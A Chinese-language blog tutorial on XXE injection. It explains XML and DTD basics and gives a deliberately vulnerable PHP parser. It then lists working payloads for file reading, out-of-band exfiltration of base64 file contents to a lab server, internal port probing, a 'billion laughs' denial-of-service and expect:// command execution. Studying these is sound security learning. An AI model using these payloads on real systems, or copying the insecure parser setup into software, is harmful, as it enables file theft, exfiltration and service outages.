XXE xml外部实体注入

在这里插入图片描述
XML基础:
可扩展标记语言,用于传输数据(允许作者自定义自己的标签,和文档结构)
构建模块
元素,属性,实体
PCDATA:被解析的字符数据
CDATA:字符数据(不会被解析器解析)
语法规则
1.所有xml 元素必须有关闭标签
2.xml 标签对大小写敏感
3.xml 必须正确嵌套
4.xml 属性必须加引号
5.实体引用
6.空格会被保留
XML元素
指从开始标签到结束标签的部分
每个元素可以有对应的属性
XML DTD
定义xml文档的合法构建模块,说明xml内容格式范围

内部DOCYYPE声明:

<!DOCTYPE 根元素 [元素声明]>

外部文档声明:

<!DOCTYPE 根元素 SYSTEM "文件名">

声明一个元素:

<!ELEMENT 元素名称 类别>
<!ELEMENT 元素名称 (元素内容)>

声明属性:

<!ATTLIST 元素名称 属性名称 属性类型 默认值>

一个外部实体声明

<!ENTITY 实体名称 SYSTEM "URI/URL">

XXE漏洞
原理:实体可以通过预定义在文档中被调用,而实体的标识符又可以访问本地或远程内容,当允许引用外部实体时,攻击者便构造恶意内容攻击

由于libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。

源码:

<?php

    libxml_disable_entity_loader (false);
    $xmlfile = file_get_contents('php://input');
    $dom = new DOMDocument();
    $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); 
    $creds = simplexml_import_dom($dom);
    echo $creds;

?>

读取文件:
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "file:///c:flag.txt"> ]> 
<creds>&xxe;</creds>

在这里插入图片描述

当读取的文件存在‘<’,’&'等字符会被xml解析报错
在这里插入图片描述
可以利用编码,构造payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE creds [
<!ENTITY xxe SYSTEM "php://filter/read=convert.base64-encode/resource=c:flag.txt"> ]> 
<creds>&xxe;</creds>

在这里插入图片描述

或者可利用CDATA:
由于xml限制内部参数实体引用,可搭建服务器进行外部参数实体引用
payload:

<?xml version="1.0" encoding="utf-8"?> 
<!DOCTYPE root [ <!ENTITY % start "<![CDATA["> 
<!ENTITY % go SYSTEM "file:///c:flag.txt"> 
<!ENTITY % end "]]>"> 
<!ENTITY % dtd SYSTEM "http://192.168.238.132/1.dtd"> %dtd; ]> 
<root>&all;</root>

1.dtd内容为:

<!ENTITY all "%start;%go;%end;">

在这里插入图片描述
XXE无回显
由于外部实体参数能请求外部uri,可以利用http协议把数据作为参数进行传递。就实现了数据外带
payload:

<?xml version="1.0"?>
<!DOCTYPE message [  
<!ENTITY % remote SYSTEM "http://192.168.238.132/1.dtd">
<!ENTITY % file SYSTEM "php://filter/read=convert.base64encode/resource=file:///c:flag.txt">
%remote;    %send; ]>
<message>1234</message>

1.dtd内容:

<!ENTITY % start
"<!ENTITY &#x25; send SYSTEM 'http://192.168.238.143/index.php?c=%file;'> "
>
 %start;

请添加图片描述
请添加图片描述
内网探测:
payload:也可以进行端口探测

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=http://192.168.238.143/">]>
<xml>
<stuff>&xxe;</stuff>
</xml>

在这里插入图片描述

不存在则报错:
在这里插入图片描述

DOS攻击:
payload:

<?xml version="1.0"?> <!DOCTYPE lolz [  <!ENTITY lol "lol">  
<!ENTITY lol2 
"&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">  
<!ENTITY lol3 
"&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">  
<!ENTITY lol4 
"&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">  
<!ENTITY lol5 
"&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">  
<!ENTITY lol6 
"&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">  
<!ENTITY lol7 
"&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">  
<!ENTITY lol8 
"&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">  
<!ENTITY lol9 
"&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;"> ]> 
<lolz>&lol9;</lolz>

可以在内存中小型xml文档扩展超过3GB

利用expect扩展 命令执行
payload:

<!DOCTYPE root[<!ENTITY cmd SYSTEM "expect://id">]> 
<dir> 
<file>&cmd;</file> 
</dir>

参考:https://xz.aliyun.com/t/3357

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值